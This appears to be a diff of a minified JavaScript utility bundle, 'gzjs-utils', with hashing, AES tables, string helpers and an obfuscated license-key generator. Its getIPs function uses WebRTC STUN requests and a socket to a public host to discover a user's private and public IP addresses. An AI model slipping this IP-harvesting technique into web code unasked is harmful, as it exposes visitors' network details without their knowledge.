this.isIPv4(t)||this.isIPv6(t)},isLeapYear:function(t){var e=Number(t);return e%4==0&&(e%100!=0||e%400==0)},isMobile:function(t){return/^(\+?86)1[1-9]\d{9}$/.test(y(t))},isScript:function(t){for(var e=!1,r="<|>|script|alert|{|}|#|$|'|\"|:|;|&|*|@|@|%|^|?".split("|"),n=0;n<r.length;n+=1)if(-1!==t.indexOf(r[n])){e=!0;break}return e},isString:function(t){return null!=t&&0!==t&&(t instanceof String||"String"===d(t))},parseQuery:function(t){return v(t)},parseUri:function(t){return p(t)},shuffle:_,treeToArray:function(t,e,r){return function(t,e,r){var n="Array"==d(t)||t instanceof Array?t:[t],o=[],i=e||"children",u=function(t){o.push(t),(t[i]||[]).forEach((function(t){return u(t)})),r&&delete t[i]};return n.forEach(u),o}(t,e,r)},trim:function(t,e){if(null==t)return"";if(!this.isString(t))return t;switch(e){case 1:return t.replace(u,"");case 2:return t.replace(a,"");default:return y(t)}},trimLeft:function(t,e){var r=t;return"string"!=typeof t||0===t.length?t:r=null==e?r.replace(u,""):r.replace(new RegExp("^"+e),"")},trimRight:function(t,e){var r=t;return"string"!=typeof t||0===t.length?t:r=null==e?r.replace(a,""):r.replace(new RegExp(e+"$"),"")},type:function(t){return d(t)},uuid:function(){return g(32)},random:O,page:function(t,e,r){if(!Array.isArray(t)||0===t.length)return[];if(isNaN(Number(e))||parseInt(Number(e)+"")<=1)return[n(t)];e=parseInt(Number(e)+"");for(var o=[],i=[],u=0;u<t.length;u++){var a=t[u];u%e==0&&i.length>0&&(o.push(i),i=[]),i.push(a)}if(o.push(i),null==r)return o;if(r=parseInt(Number(r)+""),isNaN(r))return[];var l=o[r-1];return l?[l]:[]},getDPI:function(){return function(t){for(var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:function(e,n,o){return n<e?-1:0<t(o=e+n>>>1)?o==e||0>=t(o-1)?o:r(e,o-1):r(o+1,n)};0>=t(e);e<<=1);return 0|r(e>>>1,e)}((function(t){return matchMedia("(max-resolution: ".concat(t,"dpi)")).matches}))},mm2px:function(t,e){return Number((t*(e||this.getDPI())/25.4).toFixed(2))},px2mm:function(t,e){return Number((t/(e||this.getDPI())*25.4).toFixed(2))},in2px:function(t,e){return Number((t*(e||this.getDPI())).toFixed(2))},px2in:function(t,e){return Number((t/(e||this.getDPI())).toFixed(2))},in2mm:function(t){return 25.4*t},mm2in:function(t){return t/25.4}};e.default=S},916:(t,e,r)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(320),o={getIPs:function(t){var e=/((2[0-9]{2}|[0-1]?[0-9]{1,2})\.){3}(2[0-9]{2}|[0-1]?[0-9]{1,2})/,r=/((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))/g;function o(t){return e.test(t)}function i(t){return t.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)}return new Promise((function(u,a){var l,c,f,s={public:[],private:[]};try{var d={},y=0,p=function(t){return d[t]=!0},v=(l=function(t){var n=e.exec(t)||r.exec(t),o=n&&n[0]||!1;o&&(p(o),y=1)},c=null,{isBrowser:!!(f="undefined"!=typeof window&&(window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection)),start:function(){f&&((c=new f({iceServers:[{urls:"stun:stun.services.mozilla.com"},{urls:"stun:stun.l.google.com:19302"},{urls:"stun:stun.minisipserver.com:3478"},{urls:"stun:stun.voipbuster.com:3478"},{urls:"stun:stun.sipgate.net:3478"},{urls:"stun:stun.callwithus.com:3478"},{urls:"stun:stun.internetcalls.com:3478"}]},{optional:[{RtpDataChannels:!0}]})).onicecandidate=function(t){t&&t.candidate&&t.candidate.candidate&&l(t.candidate.candidate)},c&&(c.createDataChannel("fake_data_channel_"+Math.random()),c.createOffer().then((function(t){return c.setLocalDescription(t)}))))},stop:function(){if(c)try{c.close()}catch(t){console.warn(t)}finally{c.onicecandidate=function(){},c=null}}}),h=!1,b=new Promise((function(t){return new Promise((function(t,e){var r=0,o=-1,i=function(e){clearTimeout(r),r=0,-1===o&&t(o=e);try{null.end(),null.destroy()}catch(t){}};try{var u=n.createConnection(80,"www.baidu.com");r=setTimeout((function(){return i(0)}),5e3),u.on("connect",(function(){r&&i(u.address().address)})),u.on("error",(function(){return i(0)})),u.on("disconnect",(function(){return i(0)}))}catch(t){i(0),e(t)}})).then((function(e){h=!0,e&&p(e),t(s)})).catch((function(){h=!0,t(s)}))})),m=0,g=0,w=0,A=Number(t),_=t&&!isNaN(A)&&A>100&&A||500,O=function(){for(var t in d){var e=o(t),n=i(t);(i(t)?s.private:s.public).push({ip:t,IPv4:e,type:n?"private":r.test(t)?"IPv6":"public"})}u(s)},S=function(){return clearInterval(m),v.stop(),h?O():b.then(O)};if(!v.isBrowser)return S();v.start(),m=setInterval((function(){if(w+=100,y){if(g||(w=0,_=500),g++,w>=100)return S()}else if(w>_)return S()}),100)}catch(t){return a(t)}}))}};e.default=o},320:(t,e,r)=>{var n=r(320);for(k in n)r.g[k]=n[k]},330:t=>{"use strict";t.exports=JSON.parse('{"name":"gzjs-utils","version":"1.0.16","description":"smart js utils","main":"lib/index.js","typings":"types/index.d.ts","scripts":{"dev":"npx webpack serve","build":"cross-env NODE_ENV=production webpack","test":""},"repository":{"type":"git","url":"https://gitee.com/xiyuan-lgz/gzjs-utils.git"},"keywords":["js-utils","util","AES","Base64","MD5","Hexs","Bytes"],"author":"xiyuan-lgz","license":"ISC","devDependencies":{"@babel/core":"^7.25.2","@babel/preset-env":"^7.25.3","@stomp/stompjs":"^7.0.0","babel-loader":"^9.1.3","clean-webpack-plugin":"^4.0.0","copy-webpack-plugin":"^12.0.2","cross-env":"^7.0.3","fs-extra":"^11.2.0","html-webpack-plugin":"^5.6.0","sockjs-client":"^1.6.1","stompjs":"^2.3.3","ts-loader":"^9.5.1","typescript":"^5.5.4","webpack":"^5.93.0","webpack-cli":"^5.1.4","webpack-dev-server":"^5.0.4"},"dependencies":{"crypto-browserify":"^3.12.0","dotenv":"^16.4.5","net":"^1.0.2","path-browserify":"^1.0.1","systeminformation":"^5.23.5"}}')}},e={};function r(n){var o=e[n];if(void 0!==o)return o.exports;var i=e[n]={exports:{}};return t[n].call(i.exports,i,i.exports,r),i.exports}r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}();var n=r(124);return n.default})()));
|
|
1
|
+
!function(e,r){"object"==typeof exports&&"object"==typeof module?module.exports=r():"function"==typeof define&&define.amd?define("JsUtils",[],r):"object"==typeof exports?exports.JsUtils=r():e.JsUtils=r()}(this,(()=>(()=>{var e={124:function(e,r,t){"use strict";function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function o(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter((function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable}))),t.push.apply(t,n)}return t}function i(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{};r%2?o(Object(t),!0).forEach((function(r){a(e,r,t[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):o(Object(t)).forEach((function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(t,r))}))}return e}function a(e,r,t){return(r=function(e){var r=function(e){if("object"!=n(e)||!e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var t=r.call(e,"string");if("object"!=n(t))return t;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"==n(r)?r:r+""}(r))in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}var u=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(r,"__esModule",{value:!0});var l=t(989),f=u(t(60)),c=t(454),s={writable:!1,enumerable:!1,configurable:!1},d="JsUtils",y=function(e){void 0===Object.JsUtils&&(0,l.defineProps)(Object,d,i({value:e},s)),"undefined"==typeof window||window[d]||(0,l.defineProps)(window,d,i({value:e},s));var r=Math;e.disable_warning=function(t){e.__disable_warning__=!0,r.__disabled_rly__=t||!0};var t=f.default.register(r);return(0,l.defineProps)(e,"version",i({value:"1.0.20"},s)),(0,l.defineProps)(e,"author",i({value:"xiyuan-lgz"},s)),(0,l.defineProps)(e,"__tool__",i({value:t},s)),e}(c.GzJsUtils);r.default=y,r.default=y,e.exports.default=y},835:function(e,r,t){"use strict";function n(e){return function(e){if(Array.isArray(e))return o(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,r){if(e){if("string"==typeof e)return o(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?o(e,r):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(r,"__esModule",{value:!0}),r._KeyTool=void 0,r.parseKey=p,r.getKeyToolVersion=function(){return r._KeyTool.version};var a=t(917),u=t(895),l=i(t(283)),f=i(t(167)),c=(0,a.fromBytes)([84,85,86,52,65,51,66,51,67,49,68,48,69,49,70,49,71,57,72,57,73,52,74,48,75,54,76,48,77,49,78,51,79,49,80,51,81,49,82,84,87]),s=c.split("").filter((function(e){return!/\d/.test(e)})),d=new Array(14).fill(9,0,13).join(""),y="=>:=>";function p(e){var r=l.default.decrypt(e);if(null===r)return null;r=n(r);for(var t=(0,a.toHex)(r.pop())[1]+(0,a.toHex)(r.pop())[1],o=2*(0,a.fromHex)(t)[0],i=0;i<r.length;i++)r[i]=(0,a.byte)(r[i]-o);var u=(0,a.fromHex)(t[0])[0],s=(0,a.fromHex)(t[1])[0],d=(0,a.fromBytes)(r),p=d.indexOf(y),b=-1==p?null:d.substring(p+y.length),h=(-1!==p?d.substring(0,p):d).split(""),m=Number(h[s]);if(isNaN(m))throw new Error("invalid key");var g=h.splice(s,m+1);if(s>h.length)throw new Error("invalid key");if(u>h.length)throw new Error("invalid key");var w=h.splice(u,m+1);w.shift(),g.shift(),w=w.join(""),g=g.join("");var A=Number(w+g);if(isNaN(A))throw new Error("invalid key");for(var _=null,O=null,S=null,I=null,j=null,P=[],E="",x=0;x<h.length;x++){var C=h[x];"Y"==C?_=h[++x]+h[++x]+h[++x]+h[++x]:"M"==C?O=h[++x]+h[++x]:"D"==C?S=h[++x]+h[++x]:"H"==C?I=h[++x]+h[++x]:"I"==C?j=h[++x]+h[++x]:"-"==C?E=h[++x]+h[++x]:P.push(C)}var N=[_,"-",O,"-",S," ",I,":",j,":00"].join(""),k=new Date(N).getTime()+1e3*A,F=Math.floor((k-Date.now())/1e3);P.push("-",_.slice(-2),O,S,I,j,"-",E);for(var D=c.split(""),T="",B=0;B<D.length;B++){var M=D[B];-1!="1234567890".indexOf(M)&&(T+=M)}if(0!=P.join("").indexOf(T))throw new Error("invalid key");var U="String"===Object.prototype.toString.call(b).slice(8,-1);try{U&&(b=(0,a.fromBytes)(f.default.ECB(P.join(""),{}).decrypt((0,a.fromHex)(b))))}catch(e){throw new Error("invalid key")}return{key:P.join(""),req:A,begin:N,end:v(k),enabled:F>0,diff:Math.abs(F),data:b}}var v=function(e){var r=new Date(e),t=r.getFullYear(),n=r.getMonth()+1,o=r.getDate(),i=r.getHours(),a=r.getMinutes(),u=r.getSeconds();return t+"-"+(n<10?"0"+n:n)+"-"+(o<10?"0"+o:o)+" "+(i<10?"0"+i:i)+":"+(a<10?"0"+a:a)+":"+(u<10?"0"+u:u)};r._KeyTool={version:"1.0.10",readKey:function(e){var r=p(e);return delete r.key,r},createKey:function(e,r){var t,o;e=Number(e),isNaN(e)&&(e=0);var i=c.split(""),p=new Date,v=p.getFullYear()+"",b=(p.getMonth()+1<10?"0":"")+(p.getMonth()+1),h=(p.getDate()<10?"0":"")+p.getDate(),m=(p.getHours()<10?"0":"")+p.getHours(),g=(p.getMinutes()<10?"0":"")+p.getMinutes(),w=n(s),A=["Y"+v,"M"+b,"D"+h,"H"+m,"I"+g],_=function(){var e=(A=(0,u.shuffle)(A)).shift(),r=(w=(0,u.shuffle)(w)).shift();w=w.filter((function(r){return r!==e[0]})),i[i.findIndex((function(e){return e===r}))]=e;var t=e[0];i=i.filter((function(e){return e!==t}))};do{_()}while(A.length>0);i=i.filter((function(e){return!w.includes(e)}));var O,S=(0,u.random)(2,"1234567890abcdef"),I=(((O=Number(Math.max(0,e||0).toFixed(0)))+"").length>d.length?d:O)+"";I.length%2!=0&&(I="0"+I);var j=I.length/2,P=(0,a.fromHex)(S[0])[0],E=(0,a.fromHex)(S[1])[0];if(i.push("-"),i.push(S),(t=i=i.join("").split("")).splice.apply(t,[Number(P),0].concat(n(j+""+I.substring(0,j)))),(o=i).splice.apply(o,[Number(E),0].concat(n(j+""+I.substring(j)))),null!=r){r=JSON.stringify(r);var x=c.replace(/[a-zA-z]/g,"")+"-"+(v.substring(2)+b+h+m+g)+"-"+S,C=r?f.default.ECB(x,{}).encrypt((0,a.toBytes)(r)):[],N=(0,a.toHex)(C);i.push(y),i.push(N)}for(var k=n((0,a.toBytes)(i.join(""))),F=2*(0,a.fromHex)(S)[0],D=0;D<k.length;D++)k[D]=(0,a.byte)(k[D]+F);return k.push(E,P),l.default.encode(new Int8Array(k))}}},701:function(e,r,t){"use strict";function n(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}var o=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(r,"__esModule",{value:!0}),r.sha256=b;var i=t(917),a=o(t(283)),u=new Array(1116352408,1899447441,-1245643825,-373957723,961987163,1508970993,-1841331548,-1424204075,-670586216,310598401,607225278,1426881987,1925078388,-2132889090,-1680079193,-1046744716,-459576895,-272742522,264347078,604807628,770255983,1249150122,1555081692,1996064986,-1740746414,-1473132947,-1341970488,-1084653625,-958395405,-710438585,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,-2117940946,-1838011259,-1564481375,-1474664885,-1035236496,-949202525,-778901479,-694614492,-200395387,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,-2067236844,-1933114872,-1866530822,-1538233109,-1090935817,-965641998);function l(e,r){return e>>>r|e<<32-r}function f(e,r){return e>>>r}function c(e,r,t){return e&r^~e&t}function s(e,r,t){return e&r^e&t^r&t}function d(e){return l(e,2)^l(e,13)^l(e,22)}function y(e){return l(e,6)^l(e,11)^l(e,25)}function p(e){return l(e,7)^l(e,18)^f(e,3)}function v(e,r){var t=(65535&e)+(65535&r);return(e>>16)+(r>>16)+(t>>16)<<16|65535&t}function b(e,r){return function(e,r){var t;e=function(e){if(Array.isArray(e))return n(e)}(t=e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(t)||function(e,r){if(e){if("string"==typeof e)return n(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?n(e,r):void 0}}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}();var o,i,a,b,h,m,g,w,A,_,O,S,I,j=[1779033703,-1150833019,1013904242,-1521486534,1359893119,-1694144372,528734635,1541459225],P=new Array(64);for(e[r>>5]|=128<<24-r%32,e[15+(r+64>>9<<4)]=r,A=0;A<e.length;A+=16){for(o=j[0],i=j[1],a=j[2],b=j[3],h=j[4],m=j[5],g=j[6],w=j[7],_=0;_<64;_++)P[_]=_<16?e[_+A]:v(v(v(l(I=P[_-2],17)^l(I,19)^f(I,10),P[_-7]),p(P[_-15])),P[_-16]),O=v(v(v(v(w,y(h)),c(h,m,g)),u[_]),P[_]),S=v(d(o),s(o,i,a)),w=g,g=m,m=h,h=v(b,O),b=a,a=i,i=o,o=v(O,S);j[0]=v(o,j[0]),j[1]=v(i,j[1]),j[2]=v(a,j[2]),j[3]=v(b,j[3]),j[4]=v(h,j[4]),j[5]=v(m,j[5]),j[6]=v(g,j[6]),j[7]=v(w,j[7])}return j}(e,r||8*e.length)}var h={hex_hash:function(e){if(null==e)return null;var r=b((0,i.toUint8Array)(e));return(0,i.toHex)(r)},b64_hash:function(e){if(null==e)return null;var r=b((0,i.toUint8Array)(e));return a.default.encode(r)}};r.default=h},167:(e,r,t)=>{"use strict";function n(e){return function(e){if(Array.isArray(e))return o(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,r){if(e){if("string"==typeof e)return o(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?o(e,r):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}Object.defineProperty(r,"__esModule",{value:!0});var i=t(917),a=t(895),u={16:10,24:12,32:14},l=[1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145],f=[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],c=[82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,100,134,104,152,22,212,164,92,204,93,101,182,146,108,112,72,80,253,237,185,218,94,21,70,87,167,141,157,132,144,216,171,0,140,188,211,10,247,228,88,5,184,179,69,6,208,44,30,143,202,63,15,2,193,175,189,3,1,19,138,107,58,145,17,65,79,103,220,234,151,242,207,206,240,180,230,115,150,172,116,34,231,173,53,133,226,249,55,232,28,117,223,110,71,241,26,113,29,41,197,137,111,183,98,14,170,24,190,27,252,86,62,75,198,210,121,32,154,219,192,254,120,205,90,244,31,221,168,51,136,7,199,49,177,18,16,89,39,128,236,95,96,81,127,169,25,181,74,13,45,229,122,159,147,201,156,239,160,224,59,77,174,42,245,176,200,235,187,60,131,83,153,97,23,43,4,126,186,119,214,38,225,105,20,99,85,33,12,125],s=[3328402341,4168907908,4000806809,4135287693,4294111757,3597364157,3731845041,2445657428,1613770832,33620227,3462883241,1445669757,3892248089,3050821474,1303096294,3967186586,2412431941,528646813,2311702848,4202528135,4026202645,2992200171,2387036105,4226871307,1101901292,3017069671,1604494077,1169141738,597466303,1403299063,3832705686,2613100635,1974974402,3791519004,1033081774,1277568618,1815492186,2118074177,4126668546,2211236943,1748251740,1369810420,3521504564,4193382664,3799085459,2883115123,1647391059,706024767,134480908,2512897874,1176707941,2646852446,806885416,932615841,168101135,798661301,235341577,605164086,461406363,3756188221,3454790438,1311188841,2142417613,3933566367,302582043,495158174,1479289972,874125870,907746093,3698224818,3025820398,1537253627,2756858614,1983593293,3084310113,2108928974,1378429307,3722699582,1580150641,327451799,2790478837,3117535592,0,3253595436,1075847264,3825007647,2041688520,3059440621,3563743934,2378943302,1740553945,1916352843,2487896798,2555137236,2958579944,2244988746,3151024235,3320835882,1336584933,3992714006,2252555205,2588757463,1714631509,293963156,2319795663,3925473552,67240454,4269768577,2689618160,2017213508,631218106,1269344483,2723238387,1571005438,2151694528,93294474,1066570413,563977660,1882732616,4059428100,1673313503,2008463041,2950355573,1109467491,537923632,3858759450,4260623118,3218264685,2177748300,403442708,638784309,3287084079,3193921505,899127202,2286175436,773265209,2479146071,1437050866,4236148354,2050833735,3362022572,3126681063,840505643,3866325909,3227541664,427917720,2655997905,2749160575,1143087718,1412049534,999329963,193497219,2353415882,3354324521,1807268051,672404540,2816401017,3160301282,369822493,2916866934,3688947771,1681011286,1949973070,336202270,2454276571,201721354,1210328172,3093060836,2680341085,3184776046,1135389935,3294782118,965841320,831886756,3554993207,4068047243,3588745010,2345191491,1849112409,3664604599,26054028,2983581028,2622377682,1235855840,3630984372,2891339514,4092916743,3488279077,3395642799,4101667470,1202630377,268961816,1874508501,4034427016,1243948399,1546530418,941366308,1470539505,1941222599,2546386513,3421038627,2715671932,3899946140,1042226977,2521517021,1639824860,227249030,260737669,3765465232,2084453954,1907733956,3429263018,2420656344,100860677,4160157185,470683154,3261161891,1781871967,2924959737,1773779408,394692241,2579611992,974986535,664706745,3655459128,3958962195,731420851,571543859,3530123707,2849626480,126783113,865375399,765172662,1008606754,361203602,3387549984,2278477385,2857719295,1344809080,2782912378,59542671,1503764984,160008576,437062935,1707065306,3622233649,2218934982,3496503480,2185314755,697932208,1512910199,504303377,2075177163,2824099068,1841019862,739644986],d=[2781242211,2230877308,2582542199,2381740923,234877682,3184946027,2984144751,1418839493,1348481072,50462977,2848876391,2102799147,434634494,1656084439,3863849899,2599188086,1167051466,2636087938,1082771913,2281340285,368048890,3954334041,3381544775,201060592,3963727277,1739838676,4250903202,3930435503,3206782108,4149453988,2531553906,1536934080,3262494647,484572669,2923271059,1783375398,1517041206,1098792767,49674231,1334037708,1550332980,4098991525,886171109,150598129,2481090929,1940642008,1398944049,1059722517,201851908,1385547719,1699095331,1587397571,674240536,2704774806,252314885,3039795866,151914247,908333586,2602270848,1038082786,651029483,1766729511,3447698098,2682942837,454166793,2652734339,1951935532,775166490,758520603,3000790638,4004797018,4217086112,4137964114,1299594043,1639438038,3464344499,2068982057,1054729187,1901997871,2534638724,4121318227,1757008337,0,750906861,1614815264,535035132,3363418545,3988151131,3201591914,1183697867,3647454910,1265776953,3734260298,3566750796,3903871064,1250283471,1807470800,717615087,3847203498,384695291,3313910595,3617213773,1432761139,2484176261,3481945413,283769337,100925954,2180939647,4037038160,1148730428,3123027871,3813386408,4087501137,4267549603,3229630528,2315620239,2906624658,3156319645,1215313976,82966005,3747855548,3245848246,1974459098,1665278241,807407632,451280895,251524083,1841287890,1283575245,337120268,891687699,801369324,3787349855,2721421207,3431482436,959321879,1469301956,4065699751,2197585534,1199193405,2898814052,3887750493,724703513,2514908019,2696962144,2551808385,3516813135,2141445340,1715741218,2119445034,2872807568,2198571144,3398190662,700968686,3547052216,1009259540,2041044702,3803995742,487983883,1991105499,1004265696,1449407026,1316239930,504629770,3683797321,168560134,1816667172,3837287516,1570751170,1857934291,4014189740,2797888098,2822345105,2754712981,936633572,2347923833,852879335,1133234376,1500395319,3084545389,2348912013,1689376213,3533459022,3762923945,3034082412,4205598294,133428468,634383082,2949277029,2398386810,3913789102,403703816,3580869306,2297460856,1867130149,1918643758,607656988,4049053350,3346248884,1368901318,600565992,2090982877,2632479860,557719327,3717614411,3697393085,2249034635,2232388234,2430627952,1115438654,3295786421,2865522278,3633334344,84280067,33027830,303828494,2747425121,1600795957,4188952407,3496589753,2434238086,1486471617,658119965,3106381470,953803233,334231800,3005978776,857870609,3151128937,1890179545,2298973838,2805175444,3056442267,574365214,2450884487,550103529,1233637070,4289353045,2018519080,2057691103,2399374476,4166623649,2148108681,387583245,3664101311,836232934,3330556482,3100665960,3280093505,2955516313,2002398509,287182607,3413881008,4238890068,3597515707,975967766],y=[1671808611,2089089148,2006576759,2072901243,4061003762,1807603307,1873927791,3310653893,810573872,16974337,1739181671,729634347,4263110654,3613570519,2883997099,1989864566,3393556426,2191335298,3376449993,2106063485,4195741690,1508618841,1204391495,4027317232,2917941677,3563566036,2734514082,2951366063,2629772188,2767672228,1922491506,3227229120,3082974647,4246528509,2477669779,644500518,911895606,1061256767,4144166391,3427763148,878471220,2784252325,3845444069,4043897329,1905517169,3631459288,827548209,356461077,67897348,3344078279,593839651,3277757891,405286936,2527147926,84871685,2595565466,118033927,305538066,2157648768,3795705826,3945188843,661212711,2999812018,1973414517,152769033,2208177539,745822252,439235610,455947803,1857215598,1525593178,2700827552,1391895634,994932283,3596728278,3016654259,695947817,3812548067,795958831,2224493444,1408607827,3513301457,0,3979133421,543178784,4229948412,2982705585,1542305371,1790891114,3410398667,3201918910,961245753,1256100938,1289001036,1491644504,3477767631,3496721360,4012557807,2867154858,4212583931,1137018435,1305975373,861234739,2241073541,1171229253,4178635257,33948674,2139225727,1357946960,1011120188,2679776671,2833468328,1374921297,2751356323,1086357568,2408187279,2460827538,2646352285,944271416,4110742005,3168756668,3066132406,3665145818,560153121,271589392,4279952895,4077846003,3530407890,3444343245,202643468,322250259,3962553324,1608629855,2543990167,1154254916,389623319,3294073796,2817676711,2122513534,1028094525,1689045092,1575467613,422261273,1939203699,1621147744,2174228865,1339137615,3699352540,577127458,712922154,2427141008,2290289544,1187679302,3995715566,3100863416,339486740,3732514782,1591917662,186455563,3681988059,3762019296,844522546,978220090,169743370,1239126601,101321734,611076132,1558493276,3260915650,3547250131,2901361580,1655096418,2443721105,2510565781,3828863972,2039214713,3878868455,3359869896,928607799,1840765549,2374762893,3580146133,1322425422,2850048425,1823791212,1459268694,4094161908,3928346602,1706019429,2056189050,2934523822,135794696,3134549946,2022240376,628050469,779246638,472135708,2800834470,3032970164,3327236038,3894660072,3715932637,1956440180,522272287,1272813131,3185336765,2340818315,2323976074,1888542832,1044544574,3049550261,1722469478,1222152264,50660867,4127324150,236067854,1638122081,895445557,1475980887,3117443513,2257655686,3243809217,489110045,2662934430,3778599393,4162055160,2561878936,288563729,1773916777,3648039385,2391345038,2493985684,2612407707,505560094,2274497927,3911240169,3460925390,1442818645,678973480,3749357023,2358182796,2717407649,2306869641,219617805,3218761151,3862026214,1120306242,1756942440,1103331905,2578459033,762796589,252780047,2966125488,1425844308,3151392187,372911126],p=[1667474886,2088535288,2004326894,2071694838,4075949567,1802223062,1869591006,3318043793,808472672,16843522,1734846926,724270422,4278065639,3621216949,2880169549,1987484396,3402253711,2189597983,3385409673,2105378810,4210693615,1499065266,1195886990,4042263547,2913856577,3570689971,2728590687,2947541573,2627518243,2762274643,1920112356,32